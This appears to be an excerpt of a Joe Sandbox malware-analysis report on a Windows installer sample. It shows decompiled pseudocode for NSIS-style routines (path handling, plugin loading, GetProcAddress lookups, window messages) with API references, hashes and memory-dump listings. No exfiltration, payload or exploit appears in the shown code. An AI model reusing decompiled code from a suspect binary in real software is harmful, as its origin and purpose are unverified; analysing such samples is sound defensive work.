                                      					 *((intOrPtr*)(__ebp - 0x3c)) = __edx;
                                      				}
                                      				 *(_t35 + 8) = _t17;
                                      				if( *_t32 == _t24) {
                                      					L13:
                                      					 *((intOrPtr*)(_t35 - 4)) = 1;
                                      				} else {
                                      					_t34 = E004061AC(_t27, _t32);
                                      					if((_t29 |  *(_t35 - 0x4c)) != 0 ||  *((intOrPtr*)(_t35 - 0x1c)) == _t24 || E00405E1F(_t34, _t34) >= 0) {
                                      						_t14 = E00405DF0(_t34, "C:\Users\Arthur\AppData\Local\Temp\nsx575C.tmp\System.dll",  *(_t35 + 8));
                                      						_t40 = _t14;
                                      						if(_t40 == 0) {
                                      							goto L13;
                                      						}
                                      					} else {
                                      						goto L13;
                                      					}
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t35 - 4));
                                      				return 0;
                                      			}












                                      0x00402592
                                      0x00402592
                                      0x00402592
                                      0x00402597
                                      0x0040259a
                                      0x0040259d
                                      0x004025a2
                                      0x004025a4
                                      0x004025c4
                                      0x00402602
                                      0x004025c6
                                      0x004025c8
                                      0x004025e2
                                      0x004025ed
                                      0x004025ed
                                      0x004025a6
                                      0x004025a8
                                      0x004025ad
                                      0x004025bb
                                      0x004025be
                                      0x00402607
                                      0x0040260a
                                      0x00402885
                                      0x00402885
                                      0x00402610
                                      0x00402619
                                      0x0040261b
                                      0x0040263a
                                      0x004015b4
                                      0x004015b6
                                      0x00000000
                                      0x004015bc
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040261b
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000400,?,?,00000021), ref: 004025E2
                                      • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000400,?,?,00000021), ref: 004025ED
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: ByteCharMultiWidelstrlen
                                      • String ID: C:\Users\user\AppData\Local\Temp\nsx575C.tmp$C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll
                                      • API String ID: 3109718747-100672798
                                      • Opcode ID: 4caddf9fd98015af0c89a896aabe676fd06aff106387eddf506ca1aab1ee46e7
                                      • Instruction ID: 514f5b9530cea4d9367e026ee51610d144416164e286c499b2b09fde189c8ffc
                                      • Opcode Fuzzy Hash: 4caddf9fd98015af0c89a896aabe676fd06aff106387eddf506ca1aab1ee46e7
                                      • Instruction Fuzzy Hash: B8113B32A00200FFDB146FB18E8D99F76649F54345F20843BF502F22C1D9BC49415B5E
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 85%
                                      			E100022D0(void* __edx) {
                                      				void* _t37;
                                      				signed int _t38;
                                      				void* _t39;
                                      				void* _t41;
                                      				signed int* _t42;
                                      				signed int* _t51;
                                      				void* _t52;
                                      				void* _t54;
                                      
                                      				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
                                      				while(1) {
                                      					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
                                      					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
                                      					_t52 = _t51[6];
                                      					if(_t52 == 0) {
                                      						goto L9;
                                      					}
                                      					_t41 = 0x1a;
                                      					if(_t52 == _t41) {
                                      						goto L9;
                                      					}
                                      					if(_t52 != 0xffffffff) {
                                      						if(_t52 <= 0 || _t52 > 0x19) {
                                      							_t51[6] = _t41;
                                      							goto L12;
                                      						} else {
                                      							_t37 = E100012BA(_t52 - 1);
                                      							L10:
                                      							goto L11;
                                      						}
                                      					} else {
                                      						_t37 = E10001243();
                                      						L11:
                                      						_t52 = _t37;
                                      						L12:
                                      						_t13 =  &(_t51[2]); // 0x1020
                                      						_t42 = _t13;
                                      						if(_t51[1] != 0xffffffff) {
                                      						}
                                      						_t38 =  *_t51;
                                      						_t51[7] = 0;
                                      						if(_t38 > 7) {
                                      							L27:
                                      							_t39 = GlobalFree(_t52);
                                      							if( *(_t54 + 0x10) == 0) {
                                      								return _t39;
                                      							}
                                      							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
                                      								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
                                      							} else {
                                      								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
                                      							}
                                      							continue;
                                      						} else {
                                      							switch( *((intOrPtr*)(_t38 * 4 +  &M10002447))) {
                                      								case 0:
                                      									 *_t42 = 0;
                                      									goto L27;
                                      								case 1:
                                      									__eax = E10001311(__ebp);
                                      									goto L21;
                                      								case 2:
                                      									 *__edi = E10001311(__ebp);
                                      									__edi[1] = __edx;
                                      									goto L27;
                                      								case 3:
                                      									__eax = GlobalAlloc(0x40,  *0x1000406c);
                                      									 *(__esi + 0x1c) = __eax;
                                      									__edx = 0;
                                      									 *__edi = __eax;
                                      									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x1000406c, __eax,  *0x1000406c, 0, 0);
                                      									goto L27;
                                      								case 4:
                                      									__eax = E1000122C(__ebp);
                                      									 *(__esi + 0x1c) = __eax;
                                      									L21:
                                      									 *__edi = __eax;
                                      									goto L27;
                                      								case 5:
                                      									__eax = GlobalAlloc(0x40, 0x10);
                                      									_push(__eax);
                                      									 *(__esi + 0x1c) = __eax;
                                      									_push(__ebp);
                                      									 *__edi = __eax;
                                      									__imp__CLSIDFromString();
                                      									goto L27;
                                      								case 6:
                                      									if( *__ebp != __cx) {
                                      										__eax = E10001311(__ebp);
                                      										 *__ebx = __eax;
                                      									}
                                      									goto L27;
                                      								case 7:
                                      									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
                                      									( *(__esi + 0x18) - 1) *  *0x1000406c =  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18;
                                      									 *__ebx =  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18;
                                      									asm("cdq");
                                      									__eax = E10001470(__edx,  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18, __edx,  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2);
                                      									goto L27;
                                      							}
                                      						}
                                      					}
                                      					L9:
                                      					_t37 = E1000122C(0x10004044);
                                      					goto L10;
                                      				}
                                      			}











                                      0x100022e4
                                      0x100022e8
                                      0x100022f3
                                      0x100022f3
                                      0x100022fa
                                      0x100022ff
                                      0x00000000
                                      0x00000000
                                      0x10002303
                                      0x10002306
                                      0x00000000
                                      0x00000000
                                      0x1000230b
                                      0x10002316
                                      0x10002326
                                      0x00000000
                                      0x1000231d
                                      0x1000231f
                                      0x10002335
                                      0x00000000
                                      0x10002335
                                      0x1000230d
                                      0x1000230d
                                      0x10002336
                                      0x10002336
                                      0x10002338
                                      0x1000233c
                                      0x1000233c
                                      0x1000233f
                                      0x1000233f
                                      0x10002347
                                      0x1000234e
                                      0x10002351
                                      0x10002410
                                      0x10002411
                                      0x1000241c
                                      0x10002446
                                      0x10002446
                                      0x1000242c
                                      0x10002438
                                      0x1000242e
                                      0x1000242e
                                      0x1000242e
                                      0x00000000
                                      0x10002357
                                      0x10002357
                                      0x00000000
                                      0x1000235e
                                      0x00000000
                                      0x00000000
                                      0x10002366
                                      0x00000000
                                      0x00000000
                                      0x10002374
                                      0x10002376
                                      0x00000000
                                      0x00000000
                                      0x10002397
                                      0x1000239d
                                      0x100023a0
                                      0x100023a2
                                      0x100023b2
                                      0x00000000
                                      0x00000000
                                      0x1000237f
                                      0x10002384
                                      0x10002387
                                      0x10002388
                                      0x00000000
                                      0x00000000
                                      0x100023be
                                      0x100023c4
                                      0x100023c5
                                      0x100023c8
                                      0x100023c9
                                      0x100023cb
                                      0x00000000
                                      0x00000000
                                      0x100023d7
                                      0x100023da
                                      0x100023e6
                                      0x100023e8
                                      0x00000000
                                      0x00000000
                                      0x100023f4
                                      0x10002400
                                      0x10002403
                                      0x10002405
                                      0x10002408
                                      0x00000000
                                      0x00000000
                                      0x10002357
                                      0x10002351
                                      0x1000232b
                                      0x10002330
                                      0x00000000
                                      0x10002330

                                      APIs
                                      • GlobalFree.KERNEL32(00000000), ref: 10002411
                                        • Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C
                                      • GlobalAlloc.KERNEL32(00000040), ref: 10002397
                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56287645095.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000002.00000002.56287621187.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287670249.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287691268.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_10000000_zpeu.jbxd
                                      Similarity
                                      • API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
                                      • String ID:
                                      • API String ID: 4216380887-0
                                      • Opcode ID: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
                                      • Instruction ID: e010a8171ff36a63e9221139458dc5df23460d7ee6f57f6168b5e09891e1807c
                                      • Opcode Fuzzy Hash: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
                                      • Instruction Fuzzy Hash: 9141D2B4408305EFF324DF24C880A6AB7F8FB843D4B11892DF94687199DB34BA94CB65
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E100015FF(struct HINSTANCE__* _a4, short* _a8) {
                                      				_Unknown_base(*)()* _t7;
                                      				void* _t10;
                                      				int _t14;
                                      
                                      				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
                                      				_t10 = GlobalAlloc(0x40, _t14);
                                      				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
                                      				_t7 = GetProcAddress(_a4, _t10);
                                      				GlobalFree(_t10);
                                      				return _t7;
                                      			}






                                      0x10001619
                                      0x10001625
                                      0x10001632
                                      0x10001639
                                      0x10001642
                                      0x1000164e

                                      APIs
                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
                                      • GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
                                      • GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
                                      • GlobalFree.KERNEL32(00000000), ref: 10001642
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56287645095.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000002.00000002.56287621187.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287670249.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287691268.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_10000000_zpeu.jbxd
                                      Similarity
                                      • API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
                                      • String ID:
                                      • API String ID: 1148316912-0
                                      • Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
                                      • Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
                                      • Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
                                      • Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00401D57() {
                                      				void* _t18;
                                      				struct HINSTANCE__* _t22;
                                      				struct HWND__* _t25;
                                      				void* _t27;
                                      
                                      				_t25 = GetDlgItem( *(_t27 - 8),  *(_t27 - 0x24));
                                      				GetClientRect(_t25, _t27 - 0x58);
                                      				_t18 = SendMessageW(_t25, 0x172, _t22, LoadImageW(_t22, E00402C37(_t22), _t22,  *(_t27 - 0x50) *  *(_t27 - 0x20),  *(_t27 - 0x4c) *  *(_t27 - 0x20), 0x10));
                                      				if(_t18 != _t22) {
                                      					DeleteObject(_t18);
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t27 - 4));
                                      				return 0;
                                      			}







                                      0x00401d63
                                      0x00401d6a
                                      0x00401d99
                                      0x00401da1
                                      0x00401da8
                                      0x00401da8
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • GetDlgItem.USER32(?,?), ref: 00401D5D
                                      • GetClientRect.USER32(00000000,?), ref: 00401D6A
                                      • LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D8B
                                      • SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D99
                                      • DeleteObject.GDI32(00000000), ref: 00401DA8
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                      • String ID:
                                      • API String ID: 1849352358-0
                                      • Opcode ID: 111346f9e6b971423f1b2999124cafe5a37e4e10baee3c5636334ddbed451260
                                      • Instruction ID: 477f9c078023e6e9cc07b453b9f7f3a7004dd49873a1bfc78c69f95ea128efdf
                                      • Opcode Fuzzy Hash: 111346f9e6b971423f1b2999124cafe5a37e4e10baee3c5636334ddbed451260
                                      • Instruction Fuzzy Hash: CAF0EC72604518AFDB01DBE4DE88CEEB7BCEB08341B14047AF641F61A1CA749D118B78
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 59%
                                      			E00401C19(intOrPtr __edx) {
                                      				int _t29;
                                      				long _t30;
                                      				signed int _t32;
                                      				WCHAR* _t35;
                                      				long _t36;
                                      				int _t41;
                                      				signed int _t42;
                                      				int _t46;
                                      				int _t56;
                                      				intOrPtr _t57;
                                      				struct HWND__* _t61;
                                      				void* _t64;
                                      
                                      				_t57 = __edx;
                                      				_t29 = E00402C15(3);
                                      				 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
                                      				 *(_t64 - 0x10) = _t29;
                                      				_t30 = E00402C15(4);
                                      				 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
                                      				 *(_t64 + 8) = _t30;
                                      				if(( *(_t64 - 0x14) & 0x00000001) != 0) {
                                      					 *((intOrPtr*)(__ebp - 0x10)) = E00402C37(0x33);
                                      				}
                                      				__eflags =  *(_t64 - 0x14) & 0x00000002;
                                      				if(( *(_t64 - 0x14) & 0x00000002) != 0) {
                                      					 *(_t64 + 8) = E00402C37(0x44);
                                      				}
                                      				__eflags =  *((intOrPtr*)(_t64 - 0x2c)) - 0x21;
                                      				_push(1);
                                      				if(__eflags != 0) {
                                      					_t59 = E00402C37();
                                      					_t32 = E00402C37();
                                      					asm("sbb ecx, ecx");
                                      					asm("sbb eax, eax");
                                      					_t35 =  ~( *_t31) & _t59;
                                      					__eflags = _t35;
                                      					_t36 = FindWindowExW( *(_t64 - 0x10),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
                                      					goto L10;
                                      				} else {
                                      					_t61 = E00402C15();
                                      					 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
                                      					_t41 = E00402C15(2);
                                      					 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
                                      					_t56 =  *(_t64 - 0x14) >> 2;
                                      					if(__eflags == 0) {
                                      						_t36 = SendMessageW(_t61, _t41,  *(_t64 - 0x10),  *(_t64 + 8));
                                      						L10:
                                      						 *(_t64 - 0x30) = _t36;
                                      					} else {
                                      						_t42 = SendMessageTimeoutW(_t61, _t41,  *(_t64 - 0x10),  *(_t64 + 8), _t46, _t56, _t64 - 0x30);
                                      						asm("sbb eax, eax");
                                      						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
                                      					}
                                      				}
                                      				__eflags =  *((intOrPtr*)(_t64 - 0x28)) - _t46;
                                      				if( *((intOrPtr*)(_t64 - 0x28)) >= _t46) {
                                      					_push( *(_t64 - 0x30));
                                      					E00406193();
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t64 - 4));
                                      				return 0;
                                      			}















                                      0x00401c19
                                      0x00401c1b
                                      0x00401c22
                                      0x00401c25
                                      0x00401c28
                                      0x00401c32
                                      0x00401c36
                                      0x00401c39
                                      0x00401c42
                                      0x00401c42
                                      0x00401c45
                                      0x00401c49
                                      0x00401c52
                                      0x00401c52
                                      0x00401c55
                                      0x00401c59
                                      0x00401c5b
                                      0x00401cb0
                                      0x00401cb2
                                      0x00401cbd
                                      0x00401cc7
                                      0x00401cca
                                      0x00401cca
                                      0x00401cd3
                                      0x00000000
                                      0x00401c5d
                                      0x00401c64
                                      0x00401c66
                                      0x00401c69
                                      0x00401c6f
                                      0x00401c76
                                      0x00401c79
                                      0x00401ca1
                                      0x00401cd9
                                      0x00401cd9
                                      0x00401c7b
                                      0x00401c89
                                      0x00401c91
                                      0x00401c94
                                      0x00401c94
                                      0x00401c79
                                      0x00401cdc
                                      0x00401cdf
                                      0x00401ce5
                                      0x00402a65
                                      0x00402a65
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C89
                                      • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA1
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend$Timeout
                                      • String ID: !
                                      • API String ID: 1777923405-2657877971
                                      • Opcode ID: 52c69b6bb6857bf2a270f80e5499bbb17c10517d475e12f2cc1f17fbea43ed8a
                                      • Instruction ID: 29033229b0686faa5c7805d11c7179544b5b5cf9f353c3a0c808591dcba6bfc2
                                      • Opcode Fuzzy Hash: 52c69b6bb6857bf2a270f80e5499bbb17c10517d475e12f2cc1f17fbea43ed8a
                                      • Instruction Fuzzy Hash: 1521C171948209AEEF05AFA5CE4AABE7BB4EF84308F14443EF502B61D1D7B84541DB28
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00405BC8(WCHAR* _a4) {
                                      				WCHAR* _t5;
                                      				short* _t7;
                                      				WCHAR* _t10;
                                      				short _t11;
                                      				WCHAR* _t12;
                                      				void* _t14;
                                      
                                      				_t12 = _a4;
                                      				_t10 = CharNextW(_t12);
                                      				_t5 = CharNextW(_t10);
                                      				_t11 =  *_t12;
                                      				if(_t11 == 0 ||  *_t10 != 0x3a || _t10[1] != 0x5c) {
                                      					if(_t11 != 0x5c || _t12[1] != _t11) {
                                      						L10:
                                      						return 0;
                                      					} else {
                                      						_t14 = 2;
                                      						while(1) {
                                      							_t14 = _t14 - 1;
                                      							_t7 = E00405B4A(_t5, 0x5c);
                                      							if( *_t7 == 0) {
                                      								goto L10;
                                      							}
                                      							_t5 = _t7 + 2;
                                      							if(_t14 != 0) {
                                      								continue;
                                      							}
                                      							return _t5;
                                      						}
                                      						goto L10;
                                      					}
                                      				} else {
                                      					return CharNextW(_t5);
                                      				}
                                      			}









                                      0x00405bd1
                                      0x00405bd8
                                      0x00405bdb
                                      0x00405bdd
                                      0x00405be3
                                      0x00405bfb
                                      0x00405c1d
                                      0x00000000
                                      0x00405c03
                                      0x00405c05
                                      0x00405c06
                                      0x00405c09
                                      0x00405c0a
                                      0x00405c13
                                      0x00000000
                                      0x00000000
                                      0x00405c16
                                      0x00405c19
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00405c19
                                      0x00000000
                                      0x00405c06
                                      0x00405bf2
                                      0x00000000
                                      0x00405bf3

                                      APIs
                                      • CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,00405C3C,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,?,77033420,0040597A,?,C:\Users\user\AppData\Local\Temp\,77033420,00000000), ref: 00405BD6
                                      • CharNextW.USER32(00000000), ref: 00405BDB
                                      • CharNextW.USER32(00000000), ref: 00405BF3
                                      Strings
                                      • C:\Users\user\AppData\Local\Temp\nsx575C.tmp, xrefs: 00405BC9
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CharNext
                                      • String ID: C:\Users\user\AppData\Local\Temp\nsx575C.tmp
                                      • API String ID: 3213498283-3669370704
                                      • Opcode ID: aebd7a4b5de8b759b0e4f0e56dc0d79cfb69ab96c88f82fda94e21a8a16d65f8
                                      • Instruction ID: 71fcaf91f17ad0c61ae46c06a49b7004919c5bb89cc9bf949e59d58efb239cdc
                                      • Opcode Fuzzy Hash: aebd7a4b5de8b759b0e4f0e56dc0d79cfb69ab96c88f82fda94e21a8a16d65f8
                                      • Instruction Fuzzy Hash: EAF09061914B2195EA3176544C45E7766BCEB96760B00807BE702B72C0EBB8A8C19FEE
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 58%
                                      			E00405B1D(WCHAR* _a4) {
                                      				WCHAR* _t9;
                                      
                                      				_t9 = _a4;
                                      				_push( &(_t9[lstrlenW(_t9)]));
                                      				_push(_t9);
                                      				if( *(CharPrevW()) != 0x5c) {
                                      					lstrcatW(_t9, 0x40a014);
                                      				}
                                      				return _t9;
                                      			}




                                      0x00405b1e
                                      0x00405b2b
                                      0x00405b2c
                                      0x00405b37
                                      0x00405b3f
                                      0x00405b3f
                                      0x00405b47

                                      APIs
                                      • lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040332A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 00405B23
                                      • CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040332A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77033420,00403589,?,00000006,00000008,0000000A), ref: 00405B2D
                                      • lstrcatW.KERNEL32(?,0040A014), ref: 00405B3F
                                      Strings
                                      • C:\Users\user\AppData\Local\Temp\, xrefs: 00405B1D
                                      Memory Dump Source
